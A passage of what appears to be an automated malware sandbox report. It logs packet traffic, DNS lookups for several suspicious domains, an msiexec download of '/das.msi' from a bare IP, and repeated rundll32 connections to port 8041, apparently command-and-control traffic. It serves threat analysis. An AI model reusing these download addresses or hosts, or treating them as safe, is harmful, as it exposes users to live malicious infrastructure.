Oct 3, 2024 20:44:04.491966963 CEST	443	50048	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:04.969007015 CEST	443	50048	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:04.969082117 CEST	50048	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:05.183135033 CEST	50048	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:05.183156967 CEST	443	50048	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:05.184166908 CEST	443	50048	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:05.184252024 CEST	50048	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:05.187136889 CEST	50048	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:05.231395006 CEST	443	50048	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:05.718070984 CEST	50049	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:06.205888987 CEST	8041	50049	82.115.223.39	192.168.2.5
Oct 3, 2024 20:44:06.205997944 CEST	50049	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:06.206449986 CEST	50049	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:06.211317062 CEST	8041	50049	82.115.223.39	192.168.2.5
Oct 3, 2024 20:44:06.625583887 CEST	443	50048	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:06.625679016 CEST	50048	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:06.625691891 CEST	443	50048	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:06.625749111 CEST	443	50048	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:06.625750065 CEST	50048	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:06.625812054 CEST	50048	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:06.628954887 CEST	50048	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:06.628973961 CEST	443	50048	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:06.961210012 CEST	8041	50049	82.115.223.39	192.168.2.5
Oct 3, 2024 20:44:06.961277008 CEST	50049	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:06.961850882 CEST	50049	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:06.964040995 CEST	50049	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:06.967788935 CEST	8041	50049	82.115.223.39	192.168.2.5
Oct 3, 2024 20:44:06.973247051 CEST	8041	50049	82.115.223.39	192.168.2.5
Oct 3, 2024 20:44:06.973315001 CEST	50049	8041	192.168.2.5	82.115.223.39
Oct 3, 2024 20:44:07.943624020 CEST	50050	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:07.943718910 CEST	443	50050	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:07.943808079 CEST	50050	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:07.944484949 CEST	50050	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:07.944521904 CEST	443	50050	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:08.419292927 CEST	443	50050	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:08.419441938 CEST	50050	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:08.420170069 CEST	50050	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:08.420200109 CEST	443	50050	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:08.421840906 CEST	50050	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:08.421854019 CEST	443	50050	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:08.857695103 CEST	443	50050	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:08.857763052 CEST	50050	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:08.857772112 CEST	443	50050	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:08.857826948 CEST	50050	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:08.860697985 CEST	50050	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:08.860724926 CEST	443	50050	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:09.153625011 CEST	50051	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:09.153670073 CEST	443	50051	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:09.154134989 CEST	50051	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:09.154134989 CEST	50051	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:09.154170990 CEST	443	50051	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:09.629378080 CEST	443	50051	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:09.629936934 CEST	50051	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:09.630279064 CEST	50051	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:09.630285978 CEST	443	50051	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:09.634059906 CEST	50051	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:09.634068012 CEST	443	50051	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:10.059154987 CEST	50052	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:44:10.064202070 CEST	8041	50052	80.78.24.30	192.168.2.5
Oct 3, 2024 20:44:10.064502001 CEST	50052	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:44:10.064855099 CEST	50052	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:44:10.069681883 CEST	8041	50052	80.78.24.30	192.168.2.5
Oct 3, 2024 20:44:10.117194891 CEST	443	50051	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:10.117257118 CEST	50051	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:10.117265940 CEST	443	50051	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:10.117304087 CEST	50051	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:10.117337942 CEST	443	50051	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:10.117392063 CEST	50051	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:10.122457027 CEST	50051	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:10.122467041 CEST	443	50051	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:10.291878939 CEST	50053	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:10.291930914 CEST	443	50053	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:10.291996956 CEST	50053	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:10.292339087 CEST	50053	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:10.292356968 CEST	443	50053	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:10.707431078 CEST	8041	50052	80.78.24.30	192.168.2.5
Oct 3, 2024 20:44:10.707469940 CEST	8041	50052	80.78.24.30	192.168.2.5
Oct 3, 2024 20:44:10.707532883 CEST	50052	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:44:10.707598925 CEST	50052	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:44:10.793951988 CEST	50052	8041	192.168.2.5	80.78.24.30
Oct 3, 2024 20:44:10.799170971 CEST	8041	50052	80.78.24.30	192.168.2.5
Oct 3, 2024 20:44:11.054753065 CEST	443	50053	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:11.054825068 CEST	50053	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:14.040616035 CEST	50053	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:14.040658951 CEST	443	50053	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:14.041630030 CEST	50053	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:14.041636944 CEST	443	50053	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:14.824388981 CEST	443	50053	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:14.824453115 CEST	50053	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:14.824474096 CEST	443	50053	188.114.96.3	192.168.2.5
Oct 3, 2024 20:44:14.824526072 CEST	50053	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:14.824712038 CEST	50053	443	192.168.2.5	188.114.96.3
Oct 3, 2024 20:44:14.824736118 CEST	443	50053	188.114.96.3	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 20:42:08.096319914 CEST	49564	53	192.168.2.5	1.1.1.1
Oct 3, 2024 20:42:08.133663893 CEST	53	49564	1.1.1.1	192.168.2.5
Oct 3, 2024 20:42:14.574228048 CEST	54757	53	192.168.2.5	1.1.1.1
Oct 3, 2024 20:42:14.867283106 CEST	53	54757	1.1.1.1	192.168.2.5
Oct 3, 2024 20:42:15.965694904 CEST	50412	53	192.168.2.5	1.1.1.1
Oct 3, 2024 20:42:16.026420116 CEST	53	50412	1.1.1.1	192.168.2.5
Oct 3, 2024 20:43:50.584429979 CEST	52124	53	192.168.2.5	1.1.1.1
Oct 3, 2024 20:43:51.571141005 CEST	52124	53	192.168.2.5	1.1.1.1
Oct 3, 2024 20:43:51.652750015 CEST	53	52124	1.1.1.1	192.168.2.5
Oct 3, 2024 20:43:51.652797937 CEST	53	52124	1.1.1.1	192.168.2.5
Oct 3, 2024 20:43:56.422113895 CEST	50266	53	192.168.2.5	1.1.1.1
Oct 3, 2024 20:43:56.571904898 CEST	53	50266	1.1.1.1	192.168.2.5
Oct 3, 2024 20:44:01.321063995 CEST	59468	53	192.168.2.5	1.1.1.1
Oct 3, 2024 20:44:01.472044945 CEST	53	59468	1.1.1.1	192.168.2.5
Oct 3, 2024 20:44:04.470434904 CEST	55894	53	192.168.2.5	1.1.1.1
Oct 3, 2024 20:44:04.490319014 CEST	53	55894	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 3, 2024 20:42:08.096319914 CEST	192.168.2.5	1.1.1.1	0x8b3c	Standard query (0)	bazarunet.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:42:14.574228048 CEST	192.168.2.5	1.1.1.1	0x1cc4	Standard query (0)	greshunka.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:42:15.965694904 CEST	192.168.2.5	1.1.1.1	0x1a6c	Standard query (0)	tiguanin.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:43:50.584429979 CEST	192.168.2.5	1.1.1.1	0xd639	Standard query (0)	greshunka.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:43:51.571141005 CEST	192.168.2.5	1.1.1.1	0xd639	Standard query (0)	greshunka.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:43:56.422113895 CEST	192.168.2.5	1.1.1.1	0x402d	Standard query (0)	greshunka.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:44:01.321063995 CEST	192.168.2.5	1.1.1.1	0x7a59	Standard query (0)	greshunka.com	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:44:04.470434904 CEST	192.168.2.5	1.1.1.1	0xfaec	Standard query (0)	isomicrotich.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Oct 3, 2024 20:42:08.133663893 CEST	1.1.1.1	192.168.2.5	0x8b3c	No error (0)	bazarunet.com	80.78.24.30	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:42:14.867283106 CEST	1.1.1.1	192.168.2.5	0x1cc4	No error (0)	greshunka.com	82.115.223.39	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:42:16.026420116 CEST	1.1.1.1	192.168.2.5	0x1a6c	No error (0)	tiguanin.com	80.78.24.30	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:43:51.652750015 CEST	1.1.1.1	192.168.2.5	0xd639	No error (0)	greshunka.com	82.115.223.39	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:43:51.652797937 CEST	1.1.1.1	192.168.2.5	0xd639	No error (0)	greshunka.com	82.115.223.39	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:43:56.571904898 CEST	1.1.1.1	192.168.2.5	0x402d	No error (0)	greshunka.com	82.115.223.39	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:44:01.472044945 CEST	1.1.1.1	192.168.2.5	0x7a59	No error (0)	greshunka.com	82.115.223.39	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:44:04.490319014 CEST	1.1.1.1	192.168.2.5	0xfaec	No error (0)	isomicrotich.com	188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 3, 2024 20:44:04.490319014 CEST	1.1.1.1	192.168.2.5	0xfaec	No error (0)	isomicrotich.com	188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

isomicrotich.com

188.119.112.7

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.119.112.7	80	768	C:\Windows\System32\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:00.974850893 CEST	114	OUT	GET /das.msi HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows Installer Host: 188.119.112.7
Oct 3, 2024 20:42:01.586335897 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 18:42:01 GMT Server: Apache/2.4.58 (Ubuntu) Last-Modified: Wed, 02 Oct 2024 15:58:58 GMT ETag: "197800-6238084057480" Accept-Ranges: bytes Content-Length: 1669120 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msi Data Raw: d0 cf 11 e0 a1 b1 1a e1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 00 03 00 fe ff 09 00 06 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 01 00 00 00 00 00 00 00 00 10 00 00 03 00 00 00 05 00 00 00 fe ff ff ff 00 00 00 00 00 00 00 00 45 00 00 00 cf 00 00 00 61 01 00 00 d3 01 00 00 d4 01 00 00 d5 01 00 00 d6 01 00 00 d7 01 00 00 d8 01 00 00 e6 04 00 00 28 05 00 00 29 05 00 00 2a 05 00 00 2b 05 00 00 2c 05 00 00 2d 05 00 00 2e 05 00 00 08 00 00 00 41 09 00 00 42 09 00 00 43 09 00 00 44 09 00 00 45 09 00 00 46 09 00 00 47 09 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [TRUNCATED] Data Ascii: >Ea()+,-.ABCDEFG<!3 +"#$%&'()1,-./042;?56789:=>@ABCDGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghij
Oct 3, 2024 20:42:01.586365938 CEST	1236	IN	Data Raw: 6b 00 00 00 6c 00 00 00 6d 00 00 00 6e 00 00 00 6f 00 00 00 70 00 00 00 71 00 00 00 72 00 00 00 73 00 00 00 74 00 00 00 75 00 00 00 76 00 00 00 77 00 00 00 78 00 00 00 79 00 00 00 7a 00 00 00 7b 00 00 00 7c 00 00 00 7d 00 00 00 7e 00 00 00 7f 00 Data Ascii: klmnopqrstuvwxyz{\|}~Root EntryFSummaryInform
Oct 3, 2024 20:42:01.586381912 CEST	1236	IN	Data Raw: 20 00 00 00 21 00 00 00 62 00 00 00 23 00 00 00 24 00 00 00 25 00 00 00 26 00 00 00 27 00 00 00 28 00 00 00 29 00 00 00 2a 00 00 00 2b 00 00 00 2c 00 00 00 2d 00 00 00 2e 00 00 00 2f 00 00 00 30 00 00 00 31 00 00 00 32 00 00 00 33 00 00 00 34 00 Data Ascii: !b#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\
Oct 3, 2024 20:42:01.586433887 CEST	1236	IN	Data Raw: 8c 00 8e 00 01 00 6e 00 60 00 bd 00 bf 00 5a 00 50 00 62 00 63 00 66 00 ca 00 6e 00 30 00 cd 00 83 00 67 00 01 00 68 00 c2 00 c4 00 57 00 98 00 9f 00 6c 00 5a 00 50 00 57 00 98 00 06 00 07 00 57 00 98 00 9f 00 a1 00 07 00 a4 00 67 00 22 00 06 00 Data Ascii: n`ZPbcfn0ghWlZPWWg"0ZyP7ZyP7ZyP67P"7H&&H&&H HHHH
Oct 3, 2024 20:42:01.586450100 CEST	1236	IN	Data Raw: 0a 09 00 00 0b 09 00 00 0c 09 00 00 0d 09 00 00 0e 09 00 00 0f 09 00 00 10 09 00 00 11 09 00 00 12 09 00 00 13 09 00 00 14 09 00 00 15 09 00 00 16 09 00 00 17 09 00 00 18 09 00 00 19 09 00 00 1a 09 00 00 1b 09 00 00 1c 09 00 00 1d 09 00 00 1e 09 Data Ascii: !"#$%&'()*+-.203@456789:;<=>?
Oct 3, 2024 20:42:01.586464882 CEST	1236	IN	Data Raw: 6f 6e 73 20 61 72 65 20 74 6f 20 62 65 20 65 78 65 63 75 74 65 64 2e 20 20 4c 65 61 76 65 20 62 6c 61 6e 6b 20 74 6f 20 73 75 70 70 72 65 73 73 20 61 63 74 69 6f 6e 2e 41 64 6d 69 6e 55 49 53 65 71 75 65 6e 63 65 4f 70 74 69 6f 6e 61 6c 20 65 78 Data Ascii: ons are to be executed. Leave blank to suppress action.AdminUISequenceOptional expression which skips the action if evaluates to expFalse.If the expression syntax is invalid, the engine will terminate, returning iesBadActionData.TextStyleSize
Oct 3, 2024 20:42:01.586482048 CEST	1236	IN	Data Raw: 6e 6b 65 64 20 74 6f 20 74 68 69 73 20 63 6f 6e 74 72 6f 6c 2e 20 4b 65 79 50 61 74 68 46 69 6c 65 3b 52 65 67 69 73 74 72 79 3b 4f 44 42 43 44 61 74 61 53 6f 75 72 63 65 45 69 74 68 65 72 20 74 68 65 20 70 72 69 6d 61 72 79 20 6b 65 79 20 69 6e Data Ascii: nked to this control. KeyPathFile;Registry;ODBCDataSourceEither the primary key into the File table, Registry table, or ODBCDataSource table. This extract path is stored when the component is installed, and is used to detect the presence of th
Oct 3, 2024 20:42:01.586790085 CEST	1236	IN	Data Raw: 72 64 65 72 41 20 70 6f 73 69 74 69 76 65 20 69 6e 74 65 67 65 72 20 75 73 65 64 20 74 6f 20 64 65 74 65 72 6d 69 6e 65 20 74 68 65 20 6f 72 64 65 72 69 6e 67 20 6f 66 20 74 68 65 20 69 74 65 6d 73 20 77 69 74 68 69 6e 20 6f 6e 65 20 6c 69 73 74 Data Ascii: rderA positive integer used to determine the ordering of the items within one list. The integers do not have to be consecutive.The visible text to be assigned to the item. Optional. If this entry or the entire column is missing, the text is th
Oct 3, 2024 20:42:01.586806059 CEST	1224	IN	Data Raw: 20 74 6f 20 63 68 61 6e 67 65 2e 4e 61 6d 65 20 6f 66 20 74 68 65 20 63 6f 6e 74 72 6f 6c 2e 20 54 68 69 73 20 6e 61 6d 65 20 6d 75 73 74 20 62 65 20 75 6e 69 71 75 65 20 77 69 74 68 69 6e 20 61 20 64 69 61 6c 6f 67 2c 20 62 75 74 20 63 61 6e 20 Data Ascii: to change.Name of the control. This name must be unique within a dialog, but can repeat on different dialogs. The type of the control.XHorizontal coordinate of the upper left corner of the bounding rectangle of the control.WidthWidth of the b
Oct 3, 2024 20:42:01.586823940 CEST	1236	IN	Data Raw: 20 62 79 20 74 68 65 20 66 69 72 73 74 20 74 77 6f 20 65 6e 74 72 69 65 73 2e 41 72 67 75 6d 65 6e 74 41 20 76 61 6c 75 65 20 74 6f 20 62 65 20 75 73 65 64 20 61 73 20 61 20 6d 6f 64 69 66 69 65 72 20 77 68 65 6e 20 74 72 69 67 67 65 72 69 6e 67 Data Ascii: by the first two entries.ArgumentA value to be used as a modifier when triggering a particular event.A standard conditional statement that specifies under which conditions an event should be triggered.OrderingAn integer used to order several
Oct 3, 2024 20:42:01.591295958 CEST	1236	IN	Data Raw: 72 6d 69 74 74 65 64 41 20 74 65 78 74 20 73 74 72 69 6e 67 20 73 70 65 63 69 66 79 69 6e 67 20 74 68 65 20 74 69 74 6c 65 20 74 6f 20 62 65 20 64 69 73 70 6c 61 79 65 64 20 69 6e 20 74 68 65 20 74 69 74 6c 65 20 62 61 72 20 6f 66 20 74 68 65 20 Data Ascii: rmittedA text string specifying the title to be displayed in the title bar of the dialog's window.Control_DefaultDefines the default control. Hitting return is equivalent to pushing this button.Control_CancelDefines the cancel control. Hitting

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:08.851995945 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:09.497184992 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49709	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:16.653912067 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49710	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:17.315656900 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49723	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:20.085249901 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49725	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:20.717818975 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49745	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:23.424285889 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49751	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:24.053459883 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49769	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:26.779593945 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49775	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:27.460541010 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49787	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:29.170537949 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49793	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:29.826313972 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49824	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:34.591407061 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49827	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:35.206974030 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49842	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:36.876251936 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49844	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:37.537655115 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49851	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:38.249438047 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49857	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:38.949831963 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49863	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:39.645021915 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49869	80.78.24.30	8041	5880	C:\Windows\System32\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 20:42:40.283513069 CEST	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
